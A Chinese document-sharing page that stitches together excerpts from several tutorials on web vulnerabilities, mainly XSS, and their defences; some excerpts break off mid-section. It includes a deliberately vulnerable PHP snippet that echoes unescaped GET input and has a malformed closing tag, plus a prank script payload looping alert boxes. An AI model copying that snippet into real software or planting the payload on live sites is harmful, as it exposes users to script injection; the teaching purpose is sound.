跨站脚本执行漏洞详解-恶魔上传
- 格式:doc
- 大小:43.00 KB
- 文档页数:6
前端开发中的Web安全漏洞常见问题解析随着技术的进步和互联网的普及,Web开发已成为当今社会的重要组成部分。
然而,正因为Web开发如此重要,安全问题也成为了不容忽视的关键问题。
在前端开发中,Web安全漏洞是常见的问题之一。
1. 跨站脚本攻击(XSS)跨站脚本攻击是指恶意攻击者通过在Web页面注入恶意脚本,来获取用户的敏感信息或者劫持用户账号。
常见的XSS攻击手段包括利用用户输入未经过滤的内容、注入攻击代码,并将它们当作正常脚本执行。
为了防止XSS攻击,前端开发人员应该对用户输入的内容进行严格的过滤和转义,确保在输出到页面时不对用户输入的内容进行解析。
2. 跨站请求伪造(CSRF)跨站请求伪造是指攻击者利用受害者的登录状态,以受害者的身份发送恶意请求。
这种攻击方式通常利用了Web应用程序对被请求网址的验证不严谨,使得攻击者能够在受害者不知情的情况下执行一些操作,如发表评论、转账等。
为了防范CSRF攻击,开发人员应该在关键操作中使用验证码或者加入安全令牌,并在请求中验证它们的合法性。
3. 敏感信息泄露在前端开发中,一些敏感信息如数据库账号密码、API密钥等可能暴露在公共的代码中。
这种泄露会导致攻击者获得这些敏感信息,从而进一步进行系统攻击。
为了避免敏感信息泄露,开发人员应该避免在代码中明文存储这些敏感信息,可以使用配置文件或者环境变量等方式进行安全存储。
4. 不安全的数据传输在前端开发中,数据的传输往往需要通过网络进行。
如果数据传输过程中没有经过加密处理,那么攻击者就有可能窃取到传输的信息。
为了保障数据的安全传输,开发人员应该采用HTTPS协议传输敏感数据,并确保使用合适的加密算法和证书。
5. 命令注入攻击命令注入是指攻击者通过在用户输入数据中注入恶意代码,从而在服务器端执行任意命令。
这种攻击往往利用了未对用户输入进行过滤检查的漏洞。
为了防止命令注入攻击,开发人员应该在处理用户输入之前,对其进行严格的过滤、验证和转义。
Web安全中的跨站点脚本攻击随着互联网的不断发展,Web应用程序已经成为人们日常生活中必不可少的一部分。
但是Web应用程序的存在也带来了许多安全问题,其中跨站点脚本攻击(Cross-site scripting,简称XSS)就是最为常见和严重的一种。
简介XSS攻击是一种利用Web应用程序漏洞实现的攻击手段,攻击者通过注入恶意代码的方式,使得用户在访问受攻击网站或点击恶意链接时,向被攻击用户的浏览器中插入脚本。
一旦被插入的脚本在用户浏览器中执行,攻击者就可以借此窃取用户敏感信息,比如账号密码、Session ID等。
XSS攻击的危害不容小觑,它不仅可以直接损害用户的个人信息安全,还可以让攻击者通过窃取用户账号等方式进一步伤害组织或企业。
分类XSS攻击可以分为两类:存储型XSS和反射型XSS。
存储型XSS攻击是指将恶意代码上传至Web服务器后,被储存于数据库中,并在Web应用程序向用户响应页面时,从数据库中获取恶意代码并展示给用户的一种攻击方式。
这种攻击方式通常适用于需要长期效果的攻击。
反射型XSS攻击则是指攻击者向受害者发送带有恶意代码的链接,当受害者点击该链接时,浏览器会将恶意代码返回到Web服务器,并在该请求的响应中携带着恶意代码返回给受害者浏览器,最终在受害者的浏览器中执行恶意脚本的一种攻击方式。
这种攻击方式通常适用于短期效果的攻击,攻击者只需要欺骗受害者点击一次恶意链接即可。
防范XSS攻击虽然危害巨大,但是防范起来并不困难,以下是常见的防范措施:1. 输入检查:Web应用程序开发人员应该采用输入检查技术,防止攻击者通过注入恶意代码的方式向Web应用程序中传递恶意数据。
2. 输出验证:Web应用程序开发人员应该采用输出验证技术,防止Web应用程序把攻击者注入的恶意代码展示给最终用户。
3. 使用HTML编码:在向用户展示从数据库或其他来源获取的数据时,Web应用程序应该采用HTML编码技术,将所有的HTML特殊字符都转义成安全字符。
Web安全中的跨站脚本和CSRF攻击跨站脚本(Cross-Site Scripting, XSS)和跨站请求伪造(Cross-Site Request Forgery, CSRF)是Web安全中常见的两种攻击方式。
这两种攻击方式可以导致用户的敏感信息泄漏、账号劫持、篡改用户数据等严重后果。
本文将分别介绍XSS和CSRF攻击的原理、类型、预防措施以及安全建议。
一、跨站脚本(XSS)攻击:1.原理:XSS攻击是通过向Web页面注入恶意脚本代码,使得用户在浏览器上执行恶意脚本而受到攻击。
这些恶意脚本可以篡改页面内容、窃取用户敏感信息、劫持用户会话等。
2.类型:a.存储型XSS:攻击者将恶意脚本存储到服务端,当用户请求页面时,恶意脚本被返回并执行。
b.反射型XSS:攻击者构造包含恶意脚本的URL,并将其发送给用户。
用户点击URL后,恶意脚本被浏览器执行。
3.预防措施:a.输入验证和过滤:对用户输入的数据进行验证和过滤,防止恶意脚本注入。
b.输出转义:在将用户输入的数据输出到HTML页面时,对特殊字符进行转义,避免恶意脚本执行。
c. HttpOnly Cookie:将敏感信息存储在HttpOnly Cookie中,防止XSS攻击窃取Cookie。
d. CSP(Content Security Policy):通过设置CSP,限制页面可以加载的资源和代码来源,减少XSS攻击的风险。
4.安全建议:a.用户不点击可疑链接和下载的文件,尽量避免访问不受信任的网站。
b.及时更新浏览器和插件,以获得最新的安全修复。
c.使用Web Application Firewall(WAF)等工具来检测和防护XSS攻击。
二、跨站请求伪造(CSRF)攻击:1.原理:CSRF攻击是攻击者利用用户已经登录的身份,在用户不知情的情况下,伪造请求发送给Web应用服务器,从而执行恶意操作。
这种攻击方式通常利用了Web应用对用户发出的请求未进行有效的验证。
XSS(跨站脚本攻击)分析与实战⽂章⽬录⼀、漏洞原理1、XSS简介:XSS全称:Cross Site Scripting,即跨站脚本攻击,为了不和“层叠样式表”(Cascading Style Sheets, CSS)的缩写混淆,故将跨站脚本攻击缩写为XSS。
XSS是最常见的 Web 应⽤程序安全漏洞之⼀,这类漏洞能够使攻击者嵌⼊恶意脚本代码(⼀般是JS代码)到正常⽤户会访问到的页⾯中,当正常⽤户访问该页⾯时,恶意脚本代码将会在⽤户的浏览器上执⾏,从⽽达到恶意攻击⽤户的⽬的。
从上述内容可知,XSS属于客户端攻击,受害者最终是⽤户。
但不要以为受害者是⽤户,就认为跟⾃⼰的⽹站、服务器安全没有关系,不要忘记⽹站管理⼈员也属于⽤户之⼀,这就意味着 XSS 可以攻击 “服务器端”。
因为管理员要⽐普通⽤户的权限⼤得多,⽽攻击者就有可能靠管理员⾝份作为“跳板”实施攻击。
2、XSS原理解析:XSS攻击在⽹页中嵌⼊的恶意脚本代码⼀般是使⽤ JavaScript 语⾔,JavaScript 可以获取⽤户的Cookie、改变⽹页内容、URL跳转,那么存在XSS漏洞的⽹站,就可以盗取⽤户Cookie、⿊掉页⾯、导航到恶意⽹站,⽽攻击者需要做的仅仅是向Web页⾯中注⼊JavaScript 代码。
下⾯是⼀个简单的XSS漏洞实例,代码如下:<html><head><meta content="text/html;charset=utf-8"/><title>xss漏洞⽰例</title></head><body><center><h6>把输⼊的字符串输出</h6><form action="#" method="get"><h6>请输⼊</h6><input type="text" name="xss"><br /><input type="submit" value="确定"></form><hr><?phpif (isset($_GET['xss'])) {echo '<input type="text" value="'.$_GET['xss'].'">';}else{echo '<input type="text">';}></center></body></html>在代码中,通过GET获取参数xss的值,然后通过echo输出⼀个input标签,并将xss的值放⼊input标签的value中。
什么是跨站脚本攻击按照惯例,我先给出“跨站脚本攻击”的“官方定义”。
跨站攻击,即Cross Site Script Execution(通常简写为XSS)是指攻击者利用网站程序对用户输入过滤不足,输入可以显示在页面上对其他用户造成影响的HTML代码,从而盗取用户资料、利用用户身份进行某种动作或者对访问者进行病毒侵害的一种攻击方式。
在这个定义里面提到了三个要点:第一、What-为什么会产生跨站脚本攻击。
跨站脚本攻击的产生是因为程序员在写程序时候的考虑不周,当然,也可能是根本没有考虑。
安全方面有一句著名的话叫做,“永远也不要相信用户的输入”。
看到这里,作为普通用户的你,先别急着鄙视我对你的不信任,作为可用性专家的你,也别急着骂我不重视用户,作为程序员的你,要去用凉水洗把脸,精神一下了。
你在以前写程序时,有没有考虑,用户所输入的内容显示在网站上时,会不会有什么问题呢。
什么问题?先抛开我这里的主题跨站脚本攻击而言,你有没有发现,有时用户输入的内容,导致了你的页面变形?这时你除了说,Oh,这个用户真麻烦之外,是否还考虑,为什么会变形呢。
我们举个实例来说,你写了一个页面,用来显示用户输入的文章,这里显示用户部分的地方是这样的:<div id="content"><%=sArticleContent'这里我们假设这个变量是从数据库里面取出的用户输入的文章内容%></div>如果用户输入的都是像我这篇文章一样的普通文字,那么自然是没有问题,啊,可是如果出现一个二把刀的用户,他一定想写一些html代码来装饰他的文章,而恰恰他只写了<h1>,忘记了后面的闭合标签,那么会出现什么……哈哈,你的页面的后面部分全部被<h1>了,字体大的没法看。
之前你精心设计的页面全部乱成了一锅粥。
在这个实例里面,用户输入的只是普通的html字符,那么,他如果输入javascript字符呢,恩,如果我是一个坏坏的喜欢搞恶作剧的用户,我也许会输入:1.<script>while(1==1){alert('这个站长是个笨蛋');}</script>那么会发生什么? 对!在这个页面被访问的时候,你无辜的访问者会发现,无论他怎么按“确定”,那个顽固的提示框都会喋喋不休。
WEB应用漏洞及修复汇总Web应用漏洞是指在Web应用程序中存在的安全漏洞,可能会被黑客利用,从而造成用户数据泄露、系统崩溃等问题。
本文将总结常见的Web应用漏洞及对应的修复方式。
1.跨站脚本攻击(XSS)XSS是一种攻击方式,黑客在Web页面上注入恶意脚本,当用户访问被注入脚本的页面时,脚本就会在用户浏览器中执行。
修复方式包括输入验证和输出编码,确保所有用户输入的数据都进行过滤,并将特殊字符进行转义。
2.跨站点请求伪造(CSRF)CSRF是一种利用用户在已认证的网站上执行未经授权的操作的攻击。
修复方式包括使用CSRF令牌、添加用户交互确认,以及在请求中加入一些难以伪造的参数。
3.SQL注入攻击SQL注入攻击是通过在输入字段中注入恶意的SQL代码,从而绕过应用程序的输入验证逻辑,直接访问或修改数据库。
修复方式包括使用参数化查询、限制数据库用户的权限、对用户输入进行过滤和转义。
4.文件包含漏洞文件包含漏洞是一种允许攻击者将任意文件包含到Web服务器中执行的漏洞。
修复方式包括对用户输入进行过滤和验证,限制包含的文件路径,以及使用尽可能少的暴露接口。
5.不安全的会话管理不安全的会话管理可能导致会话劫持、会话固定攻击等安全问题。
修复方式包括使用随机生成的会话ID、设置合理的会话过期时间、使用HTTPS等。
6.不安全的文件上传不安全的文件上传可能导致恶意文件被上传到服务器并执行。
修复方式包括验证文件类型和大小、对上传的文件进行重命名、将上传文件保存在非Web可访问目录下。
7.服务器端请求伪造(SSRF)SSRF是一种攻击方式,黑客通过在Web应用程序中发起特殊的请求,来访问同一服务器上的受保护资源。
修复方式包括对用户输入进行验证和限制、限制服务器发起的请求目标。
8.XML外部实体攻击(XXE)XXE攻击是一种利用XML解析器的漏洞,黑客通过在XML文档中引用外部实体,从而读取本地文件、通过HTTP请求发送数据等。
文件上传漏洞及解析漏洞总结文件上传漏洞和解析漏洞是常见的安全漏洞类型,存在于许多应用程序中。
通过这些漏洞,攻击者可以上传恶意文件或利用文件解析过程中的弱点来执行任意代码。
本文将对文件上传漏洞和解析漏洞进行总结,分析其原理、危害以及常见的防御措施。
一、文件上传漏洞1.未进行文件类型验证。
应用程序仅验证了文件扩展名而未验证文件的真实类型。
攻击者可以通过更改文件扩展名绕过验证,上传恶意文件。
2.未进行文件大小限制。
应用程序未设置文件大小限制或未正确校验文件大小,导致攻击者可以上传过大的文件,从而影响服务器性能。
3.未对上传文件内容进行检查。
应用程序未检查文件内容,导致攻击者可以上传包含恶意代码的文件。
1.执行任意代码。
攻击者可以上传包含任意代码的文件,并利用该代码执行各种操作,如读取、修改、删除服务器上的文件,甚至执行系统命令。
2.获取敏感信息。
攻击者可以上传恶意文件,通过读取服务器上的敏感文件来获取重要信息,如数据库凭证、用户密码等。
3.拒绝服务攻击。
攻击者可以上传大文件,消耗服务器资源,影响正常服务的访问。
为了防止文件上传漏洞,我们可以采取以下几个常见的防御措施:1.限制文件类型。
应用程序应该根据业务需求,限制允许上传的文件类型,并在接收文件时对其进行验证,确保文件类型符合预期。
可以通过检查文件的魔术数字或文件头来判断文件类型。
2.限制文件大小。
应用程序应该对上传的文件大小进行限制,避免上传过大的文件。
可以通过限制请求的Content-Length头字段或服务器配置文件的设置来实现。
3.对上传文件进行检查。
应用程序应该对上传的文件进行检查,确保其内容是安全的。
可以通过文件内容分析工具对上传的文件进行检测,如ClamAV等。
4.隔离上传文件。
应用程序应该将上传的文件存储在与应用代码和静态资源分离的目录下,并通过文件系统权限设置来限制其执行权限,避免上传的文件被直接执行。
二、解析漏洞解析漏洞是指应用程序未能正确解析用户输入的数据,导致攻击者可以通过构造恶意数据绕过解析过程,执行任意代码。
前端开发中常见的安全漏洞及防范方法在当今数字化时代,软件开发已经成为了一项必不可少的任务。
随着互联网的发展,前端开发作为一个重要的门户,起到了连接用户与后台系统的桥梁作用。
但是,由于前端开发的特殊性,也存在一些常见的安全漏洞。
本文将介绍一些常见的前端开发中的安全漏洞,并提供相应的防范方法。
1. XSS(跨站脚本攻击)XSS攻击是指攻击者通过在网页中注入恶意脚本,从而获取用户的敏感信息或控制用户的浏览器行为。
为了防止XSS攻击,开发人员应该对用户输入进行合理的验证和过滤。
同时,可以使用Content Security Policy(CSP)来限制网页中的脚本加载,从而有效地减少XSS攻击的风险。
2. CSRF(跨站请求伪造)CSRF攻击是指攻击者通过伪造用户的请求,以用户的身份进行恶意操作的一种攻击方式。
为了防止CSRF攻击,开发人员应该在关键操作中添加合适的防护措施,如检查Referer头、在请求中添加Token等。
另外,对于敏感操作,建议使用双因素认证来增加安全性。
3. 点击劫持点击劫持是指攻击者通过在透明的页面上覆盖一层诱导用户点击的恶意页面,从而进行攻击。
为了防止点击劫持,可以通过设置X-Frame-Options响应头来禁止页面被嵌套在iframe中,从而保护用户安全。
4. SQL注入SQL注入是指攻击者通过在用户输入中注入恶意的SQL代码,从而获取数据库中的敏感信息或进行非法操作。
为了防止SQL注入,开发人员应该使用参数化查询或预编译语句等安全的数据库操作方式,并且对用户输入进行合理的验证和过滤。
5. 文件上传漏洞文件上传漏洞是指攻击者通过上传恶意文件,进而执行任意的代码或获取系统权限。
为了防止文件上传漏洞,开发人员应该对上传的文件进行严格的类型和大小检查,并在服务器端对上传的文件进行安全的处理,如改变文件名、存储在非web 目录下等。
总结起来,前端开发中的安全漏洞是需要高度重视的。
开发人员需要在设计和开发过程中加强对安全问题的意识,并采取相应的防范措施。
网络安全常见漏洞原理解析近年来,随着互联网的迅猛发展,网络安全问题日益引起人们的关注。
网络安全漏洞是指网络系统中存在的可能被攻击者利用的弱点或缺陷。
理解网络安全漏洞的原理对于提高网络安全防护水平至关重要。
本文将对网络安全常见漏洞进行解析,帮助读者更好地了解和预防这些漏洞。
1. 跨站脚本攻击(XSS)漏洞跨站脚本攻击是指攻击者通过在合法网站上注入恶意脚本,使得用户在访问该网站时执行这些脚本,进而获取用户的私人信息或操纵用户的行为。
XSS漏洞一般存在于Web应用程序的用户输入验证不严格或输出过滤不完善等情况下。
解决方法:开发人员应对用户输入进行严格的验证和过滤,避免将非法内容渲染到网页上;网站应禁用或限制用户上传的脚本和标签,对输出内容进行安全过滤。
2. SQL注入漏洞SQL注入是指攻击者通过将恶意的SQL代码注入到Web应用程序的输入参数中,进而利用数据库系统的漏洞获取、篡改或删除敏感数据。
SQL注入漏洞往往出现在Web应用程序的数据校验不完善的情况下。
解决方法:开发人员应使用参数化查询,避免直接将用户输入拼接到SQL语句中;对用户输入进行严格的验证和过滤,避免特殊字符和SQL关键字的注入。
3. 命令注入漏洞命令注入漏洞是指攻击者通过在Web应用程序的输入参数中注入恶意命令,使得服务器执行这些命令,并获取服务器的敏感信息或者控制服务器的操作系统。
这种漏洞通常发生在Web应用程序没有对用户输入进行充分的过滤和限制的情况下。
解决方法:开发人员应使用合适的函数对用户输入进行过滤,避免将用户输入作为执行命令的参数;限制应用程序的权限,使其不能执行系统命令。
4. 不安全的会话管理漏洞不安全的会话管理漏洞是指Web应用程序在处理用户会话时存在的安全漏洞,例如会话劫持和会话固定。
攻击者利用这些漏洞可以获取用户的身份信息、篡改用户的会话数据或冒充用户登录。
解决方法:使用随机生成的会话标识符,并在登录之后重新生成会话标识符;使用安全的传输协议(如HTTPS)加密会话数据的传输;设置适当的会话超时时间。
跨站脚本攻击解决方案1. 引言跨站脚本攻击(Cross-Site Scripting,简称 XSS)是一种常见的网络安全漏洞,攻击者利用网站的漏洞插入恶意的脚本代码,从而在用户浏览网页时获取用户敏感信息或实施其他攻击行为。
为了有效地保护网站和用户的安全,必须采取一系列措施来解决跨站脚本攻击问题。
本文将介绍跨站脚本攻击的基本原理和常见类型,并探讨一些常用的解决方案,帮助开发人员构建更安全的网络应用程序。
2. 跨站脚本攻击的原理和类型跨站脚本攻击的本质是攻击者在目标网站上插入恶意脚本代码,然后将这些代码传递给其他用户执行。
攻击者可以利用许多不同的方式来实施跨站脚本攻击,下面是一些常见的攻击类型:2.1 反射型跨站脚本攻击反射型跨站脚本攻击是将恶意脚本代码作为参数或路径的一部分发送给目标网站,然后网站将这些恶意代码反射回用户的浏览器执行。
攻击者通常通过欺骗用户点击恶意链接或访问包含恶意脚本代码的页面来实施这种类型的攻击。
2.2 存储型跨站脚本攻击存储型跨站脚本攻击是攻击者将恶意脚本代码存储在目标网站的数据库或其他存储设备中,然后其他用户访问包含这些恶意代码的页面时,网站从存储设备中提取并执行该代码。
攻击者通常通过在留言板、论坛或输入框等可存储用户输入内容的地方插入恶意脚本代码来实施这种类型的攻击。
2.3 DOM 型跨站脚本攻击DOM 型跨站脚本攻击是攻击者通过修改网页的 DOM 结构,插入恶意脚本代码并被浏览器执行。
这种类型的攻击不需要向服务器发送恶意代码,攻击者通常通过构造恶意链接或在受害者的浏览器上执行恶意 JavaScript 代码来实施。
3. 跨站脚本攻击解决方案要防止跨站脚本攻击,开发人员应采取多层次的防御措施,包括输入验证、输出编码和使用内容安全策略等。
3.1 输入验证仔细验证用户提交的数据是防止跨站脚本攻击的第一道防线。
开发人员应该对用户输入的数据进行过滤和验证,确保输入数据符合预期的格式和内容。
Web安全的常见攻防手段Web安全是指保护Web应用程序和互联网资源不受未经授权的访问、使用、修改和破坏的能力。
随着互联网的快速发展,网络攻击也日益猖獗。
为了确保互联网用户的信息安全和隐私保护,Web安全的重要性日益突出。
本文将介绍一些常见的Web安全攻防手段,以帮助用户更好地了解和应对网络安全威胁。
一、跨站脚本攻击(XSS)跨站脚本攻击(Cross-Site Scripting,XSS)是一种常见的Web安全漏洞,黑客通过插入恶意脚本代码来攻击Web应用程序。
这些恶意脚本可以窃取用户的敏感信息,如登录凭据、个人信息等。
为了防御XSS攻击,Web开发人员应该对用户输入的数据进行有效的过滤和转义,确保用户输入的内容对网站不构成威胁。
二、跨站请求伪造(CSRF)跨站请求伪造(Cross-Site Request Forgery,CSRF)是一种利用受信任用户身份执行未授权操作的攻击方式。
黑客通过构造特定的请求,诱使用户在登录状态下访问恶意网站,从而实现攻击目的。
为了防御CSRF攻击,Web应用程序应该采用合适的防护机制,如CSRF令牌和Referer检查,确保只允许受信任的请求通过。
三、SQL注入攻击SQL注入攻击是指黑客利用Web应用程序对用户输入的数据缺乏有效过滤或转义机制,进而通过构造恶意的SQL查询语句来执行非授权的数据库操作。
为了防御SQL注入攻击,Web应用程序开发人员应该使用参数化查询或ORM框架,以确保用户输入的数据不会被误解为SQL查询语句的一部分,提高数据安全性。
四、文件上传漏洞文件上传漏洞是指Web应用程序在处理用户上传的文件时,未经有效的验证和限制,从而导致黑客能够上传具有恶意代码或恶意链接的文件。
为了防止文件上传漏洞,Web应用程序应该对上传的文件进行严格的验证和过滤,限制上传文件的类型、大小和内容,防止恶意文件对系统造成危害。
五、会话劫持会话劫持是指黑客通过获取合法用户的会话凭证,从而冒充合法用户的身份进行非授权操作的攻击方式。
前端开发中常见的安全漏洞及防范措施在当今数字化时代,随着互联网的快速发展,前端开发作为构建网页和应用程序的重要环节,扮演着关键的角色。
然而,伴随着技术的进步,也带来了一系列的安全隐患。
本文将探讨前端开发中常见的安全漏洞,并提供相应的防范措施。
一. 跨站脚本攻击(Cross-Site Scripting, XSS)跨站脚本攻击是一种常见而严重的安全漏洞,攻击者通过向前端输入恶意脚本代码,将其植入网页中,当用户访问该网页时,被攻击者的脚本就会在用户的浏览器中执行。
这可能导致用户信息泄露、会话劫持等严重后果。
为了预防XSS攻击,开发人员应该始终对用户输入进行严格的验证和过滤。
可以通过使用特殊字符转义、过滤敏感标签、限制HTML标签的使用等方法来减少攻击的风险。
二. 跨站请求伪造(Cross-Site Request Forgery, CSRF)跨站请求伪造是通过诱使用户点击具有攻击性的链接或图片来伪造用户身份,以用户的名义发送恶意请求,例如修改密码、转账等。
攻击者利用用户在其他受信任网站上的已登录状态来进行攻击,用户通常无法察觉。
为了防止CSRF攻击,开发人员可以使用CSRF令牌机制来验证请求的合法性。
每个用户会话都生成一个唯一的令牌,用于验证用户提交的表单或请求是否是合法的。
此外,开发人员还应设置合适的SameSite Cookie策略,以限制来自其他网站的Cookie访问。
三. 不安全的敏感数据传输在前端开发过程中,往往需要进行敏感数据的传输,例如用户名、密码等。
如果采用不安全的传输方式,例如明文传输,那么这些敏感数据很容易被攻击者截获,造成严重的数据泄露问题。
为了确保敏感数据的安全传输,开发人员应该使用安全的HTTPS协议来加密数据传输。
通过SSL证书、密钥验证等方式,确保数据在传输过程中的机密性和完整性。
四. 未对输入数据进行验证和过滤在前端开发中,用户输入的数据是最容易被攻击者利用的入口之一。
网络安全常见漏洞原理解析网络安全是当今互联网时代极为重要的话题,而网络安全的常见漏洞则是攻击者利用的突破口。
了解这些漏洞的原理,对于保护个人隐私、企业信息安全以及维护整个网络生态的安全至关重要。
本文将对网络安全中的常见漏洞进行解析,帮助读者更好地认识并加强自己的网络安全防范意识。
一、跨站脚本攻击(Cross-Site Scripting, XSS)漏洞跨站脚本攻击是一种常见的网络安全漏洞,攻击者通过在受害者的网站上插入恶意脚本代码,然后让用户在浏览器上执行这些代码,从而窃取用户的敏感信息。
这种攻击方式通常利用了网站对用户输入内容的不合理处理或过滤,如未对用户提交的数据进行适当转义或过滤。
为了防范这种漏洞,网站开发者应该加强对用户输入内容的过滤和转义,并及时更新安全补丁。
二、SQL注入漏洞SQL注入漏洞是指攻击者通过在应用程序的输入框中插入恶意的SQL代码,从而对数据库进行非法操作或者获取数据库中的敏感信息。
这种漏洞的原理是应用程序未能正确验证用户输入的内容,而是直接拼接到SQL查询语句中。
为了避免SQL注入漏洞的发生,开发者应采用参数化查询、输入内容的过滤和验证等措施,以防止恶意代码的执行。
三、跨站请求伪造(Cross-Site Request Forgery, CSRF)漏洞跨站请求伪造是指攻击者利用受害者的登录状态,伪造请求发送给目标网站,从而进行恶意操作或窃取用户的敏感信息。
攻击者通常通过在第三方网站上植入恶意链接或图片,使用户在未经意的情况下触发攻击。
为了防止这种漏洞的发生,网站开发者应该为每个请求生成一个随机的令牌,并在服务器端验证令牌的合法性。
四、文件包含漏洞文件包含漏洞是一种常见的安全漏洞,攻击者可以通过恶意构造的请求参数等方式,让服务器端的应用程序加载并执行恶意文件。
这种漏洞的原理是应用程序在加载文件时,未对用户提交的路径进行充分验证或过滤。
为了防范文件包含漏洞,开发者应该对用户的输入进行严格的过滤和验证,并限制应用程序所能访问的文件路径。
前端安全漏洞的原理与修复方法前言随着互联网的发展,前端安全漏洞越来越严重,给用户的信息造成了很大的风险。
本文将介绍前端安全漏洞的原理,并提供一些常见漏洞的修复方法。
一、跨站脚本攻击(XSS)跨站脚本攻击是指攻击者通过在网页中注入恶意脚本,然后将其传递给用户浏览器执行,从而获取用户的敏感信息。
攻击者可以利用XSS漏洞窃取用户的登录凭证、发送恶意请求等。
修复方法:1. 输入过滤和转义:对用户输入的数据进行严格的过滤和转义,避免恶意脚本的注入。
可以使用安全框架如React、Angular等,自动进行输入过滤和转义。
2. HTTP-only Cookie:在设置Cookie时,将其属性设置为HTTP-only,使得无法通过JavaScript访问Cookie,从而防止XSS攻击者窃取Cookie信息。
3. CSP(Content Security Policy):通过配置CSP,可以限制页面中脚本、样式和资源的来源,从而减少XSS攻击的风险。
二、跨站请求伪造(CSRF)跨站请求伪造是指攻击者利用用户在另一个网站的登录状态,冒充用户在目标网站上执行某些非法操作。
攻击者可以通过构造钓鱼链接或利用第三方网站的漏洞实施CSRF攻击。
修复方法:1. 随机令牌(Token):在每次用户请求时,生成一个随机的令牌,并在用户提交表单时验证令牌的有效性,从而防止CSRF攻击。
2. Referer检测:在服务器端对每个请求的Referer进行校验,仅允许合法的Referer访问。
3. 双重提交Cookie验证:在用户登录时,生成一个随机的Cookie,并在用户提交表单时将此Cookie一同提交,服务器在接收到请求后校验Cookie的有效性。
三、点击劫持点击劫持是指攻击者将目标网站以透明的方式嵌入到诱导用户点击的网页中,欺骗用户在不知情的情况下执行非预期的操作。
点击劫持可以导致用户执行一些潜在危险的操作,如转账、修改密码等。
XSS漏洞原理及防御方法XSS漏洞,全称为跨站脚本攻击(Cross-Site Scripting),是一种常见的Web应用程序安全漏洞,攻击者能够在受害者浏览器中执行恶意脚本。
这种漏洞的原理是在Web应用程序中,未对用户输入的数据进行充分验证和处理,导致恶意脚本被插入到网页中。
XSS漏洞常见于Web应用程序中的输入输出处理过程中。
攻击者通常会将包含恶意JavaScript代码的输入数据提交给Web应用程序,而Web 应用程序在没有充分处理和过滤的情况下,将这些数据直接返回给用户,使得恶意代码可以被受害者的浏览器执行。
存储型XSS漏洞发生在Web应用程序将用户输入的数据存储在服务器端时。
攻击者提交的恶意脚本被保存在Web应用程序的数据库中,当其他用户浏览相应的页面时,恶意脚本会被执行。
反射型XSS漏洞则是将恶意脚本作为URL参数提交给Web应用程序,Web应用程序在接收到请求后将恶意脚本返回给用户浏览器,从而执行恶意代码。
这种类型的XSS漏洞通常需要攻击者将恶意URL发送给受害者,比较依赖于社会工程学。
基于DOM的XSS漏洞则是恶意脚本直接修改了页面的DOM结构,从而达到攻击的目的。
这种类型的XSS漏洞是由于JavaScript代码直接对DOM进行操作,没有对用户输入的数据进行充分验证和过滤。
针对XSS漏洞,需要采取以下防御措施:1.输入检查和过滤:对所有的输入数据进行验证和过滤,确保只接受预期的数据类型和格式。
可以采用白名单或黑名单的方式,过滤掉恶意代码和特殊字符。
2.输出转义:在将用户输入的数据输出到网页中时,将其中的特殊字符进行转义,防止浏览器将其当作脚本执行。
常见的转义方法包括HTML实体编码和URL编码。
3. 安全的编码实践:在书写Web应用程序时,要使用安全的编码实践,避免将用户输入的数据直接拼接到HTML和JavaScript代码中。
可以使用模板引擎或安全的API来进行数据的输出。
4. 设置HttpOnly和Secure标志:在使用Cookie进行用户会话管理时,将Cookie标志设置为HttpOnly和Secure,可以防止恶意脚本通过读取Cookie来窃取用户的敏感信息。
PHP漏洞原理范文PHP 是一种广泛使用的服务器端脚本语言,用于开发动态网页和 Web 应用程序。
然而,它也存在一些特定的安全漏洞,在不正确配置和使用的情况下可能导致严重的安全风险。
下面将讨论几种常见的 PHP 漏洞原理。
1.跨站脚本攻击(XSS):XSS漏洞是通过向网页注入恶意脚本代码来实现的。
当用户访问包含这些代码的页面时,这些脚本将在用户的浏览器上执行。
这些脚本能够从用户的浏览器中窃取敏感信息,如登录凭据,或者以用户的身份执行不安全的操作。
XSS漏洞的根本原因是未正确过滤和转义用户输入的数据。
2.SQL注入攻击:SQL 注入是一种常见的 Web 应用程序漏洞,它允许攻击者执行恶意的 SQL 查询或命令。
攻击者可以通过向 Web 应用程序的输入字段中插入恶意的 SQL 代码来实现注入。
当应用程序没有正确对输入数据进行验证、转义和过滤时,攻击者可以执行任意的 SQL 语句。
这可能导致数据库的数据泄露、修改或删除。
3.文件包含漏洞:PHP中的文件包含漏洞是一种安全问题,当应用程序使用不受信任的用户提供的文件名时会发生。
攻击者可以通过构造恶意文件名,让应用程序加载并执行不安全的文件。
这可能导致代码执行、敏感信息泄露和服务器被入侵。
4.不安全的上传文件:不安全的文件上传功能可能导致恶意文件的执行和传播。
攻击者可以上传含有恶意脚本的文件,然后让服务器上的其他用户或访问者执行该脚本。
这可能导致恶意代码的执行,例如,通过上传包含引用其他网站的代码,攻击者可以进行钓鱼攻击或重定向用户到恶意网站。
5.不安全的会话管理:会话管理是用于在用户请求之间跟踪用户状态的机制。
不正确配置的会话管理可能导致会话劫持或欺骗。
攻击者可以通过获取合法用户的会话ID来盗取用户的身份认证信息,并以受害用户的身份执行操作。
这可能会导致用户的个人信息泄露或未经授权的访问。
为了避免这些漏洞,开发人员和系统管理员可以采取以下措施:1.输入验证和过滤:对用户输入的数据进行验证,确保仅接受预期的输入。
XSS的原理分析与解剖XSS(跨站脚本攻击)是一种常见的网络安全漏洞,攻击者通过注入恶意脚本代码,使其在受害者的网页上执行,从而获取敏感信息、篡改网页内容或进行其他恶意操作。
下面我们将对XSS的原理进行深入分析与解剖。
XSS的原理主要基于Web应用程序不正确处理用户输入的特点。
Web 应用程序通常会从用户的浏览器端接收输入数据,比如表单提交、URL参数等。
如果应用程序在接收到用户输入后没有正确的进行数据过滤、转义或限制,就有可能导致XSS漏洞的产生。
XSS攻击可以分为以下几种类型:1. 存储型XSS:攻击者将恶意脚本上传到服务器端,当其他用户访问受感染的网页时,恶意脚本会从服务器端返回,被浏览器执行。
这种攻击方式通常用于点击劫持、窃取Cookie等恶意行为。
2.反射型XSS:攻击者构造URL,将恶意脚本作为参数传递给服务器端,服务器端将恶意脚本作为响应返回给浏览器,浏览器执行恶意脚本。
这种攻击方式通常利用社交工程等手段,诱使用户点击恶意链接。
3.DOM型XSS:攻击者通过修改网页的DOM结构,插入恶意脚本,当浏览器解析网页时,执行恶意脚本。
这种攻击方式通常用于窃取用户敏感信息、没有经过服务器的传输过程。
XSS攻击的主要原理是将恶意脚本注入到网页中,使其在用户浏览器中执行。
注入点通常是网页中的用户输入内容,比如评论、框等。
攻击者通过构造恶意输入,绕过服务器端的过滤机制,将恶意脚本传输到受害者的浏览器中。
